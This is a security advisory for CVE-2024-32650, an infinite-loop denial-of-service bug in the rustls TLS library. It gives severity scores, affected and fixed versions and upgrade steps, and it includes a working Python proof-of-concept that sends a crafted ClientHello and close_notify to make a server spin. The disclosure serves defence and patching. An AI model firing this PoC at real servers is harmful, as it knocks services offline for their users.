GHSA-6g7w-8wpp-frhj CVE-2024-32650 RUSTSEC-2024-0336
Denial of Service Vulnerability in Rustls Library
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.95%
- Chance of exploitation in the next 30 days. Higher than 61.22% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')
- Fix
0.23.5- Upgrade rustls to this version or later
Description
Summary
rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.
Details
Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.
When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:
eof: falseuntil_handshaked: trueself.is_handshaking(): trueself.wants_write(): falseself.wants_read(): false
PoC
- Run simple server:
cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key - Run following python script
#!/usr/bin/env python3 import socket sock = socket.socket() sock.connect(("localhost", 4443)) print("Sending client hello...") # Fake handshake data of a client hello message. fake_handshake = """ 1603 0100 c801 0000 c403 03ec 12dd 1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7 a051 f03c b817 470d 4c54 c5df 7200 001c eaea c02b c02f c02c c030 cca9 cca8 c013 c014 009c 009d 002f 0035 000a 0100 007f dada 0000 ff01 0001 0000 0000 1600 1400 0011 7777 772e 7769 6b69 7065 6469 612e 6f72 6700 1700 0000 2300 0000 0d00 1400 1204 0308 0404 0105 0308 0505 0108 0606 0102 0100 0500 0501 0000 0000 0012 0000 0010 000e 000c 0268 3208 6874 7470 2f31 2e31 7550 0000 000b 0002 0100 000a 000a 0008 1a1a 001d 0017 0018 1a1a 0001 00 """ def parse_fake_handshake(): i = 0 data = bytearray() while i < len(fake_handshake): while i < len(fake_handshake) and fake_handshake[i].isspace(): i += 1 if i >= len(fake_handshake): return data c1 = fake_handshake[i] c2 = fake_handshake[i + 1] i += 2 data.append(int(c1, 16) * 16 + int(c2, 16)) return data data = parse_fake_handshake() print("Fake client hello:", data) sock.send(data) # Send close_notify alert that we're closing the connection. close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00]) print(f"close_notify is {close_data}") sock.send(close_data) print("close_notify sent") exit(0) - You could observe the server process get into 100% cpu usage, and if you add logging at beginning of
rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.
Also note that the server thread is stuck in this infinite loop even if the client closes the socket.
Impact
This is a DOS.
A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.
Affected versions
crates.io
| Package | Vulnerable | Fixed in |
|---|---|---|
| rustls | >= 0.23.0, < 0.23.5 |
0.23.5 |
| rustls | >= 0.22.0, < 0.22.4 |
0.22.4 |
| rustls | >= 0.21.0, < 0.21.11 |
0.21.11 |
| rustls | 1 listed versions | No fix yet |
| rustls | >= 0.0.0-0, < 0.21.11>= 0.22.0, < 0.22.4>= 0.23.0, < 0.23.5 |
0.21.110.22.40.23.5 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
rustls crates.io → 0.23.5
- cargo
cargo update -p rustls --precise 0.23.5
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.
References
Advisories
Packages
Other links
- github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj
- github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d
- github.com/rustls/rustls/commit/5374108df698e78c3e9ef8265cac311556be24af
- github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e
- github.com/rustls/rustls/commit/ebcb4782f23b4edf9b10a7065d9e8d4362439d9c
- github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e
- rustsec.org/advisories/RUSTSEC-2024-0336.html
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-vp88-798v-h67f rustls: ECH rejection can expose buffered application data to authenticated outer server before `ech_required` alert | Low | Also affects rustls |
| GHSA-w44r-93j7-qv28 rustls: An unauthenticated ServerHello poisons the per-name key-exchange record, so later ClientHellos carry only a classical X25519 share | Low | Also affects rustls |
| GHSA-h2v8-394m-p7vv Rustls: Brotli certificate decompression can allocate an attacker-controlled amount of memory up to 1 GiB before authentication. | Low | Also affects rustls |
| GHSA-c8m5-c952-6cm4 Rustls: Session Debug formatting exposes TLS master secrets and resumption PSKs | Medium | Also affects rustls |
| GHSA-2mjx-qc3c-rqvc Rustls: TLS 1.3 handshake messages incorrectly accepted across encryption level boundaries | Medium | Also affects rustls |
| GHSA-qg5g-gv98-5ffh rustls network-reachable panic in `Acceptor::accept` | High | Also affects rustls |
| GHSA-5849-834g-hvw5 pypdf has possible infinite loop when hitting EOF in standard xref table during trailer search | High | Same weakness, CWE-835 |
| GHSA-mfr5-77xh-9j7h pypdf has possible infinite loop when cloning dictionaries | High | Same weakness, CWE-835 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor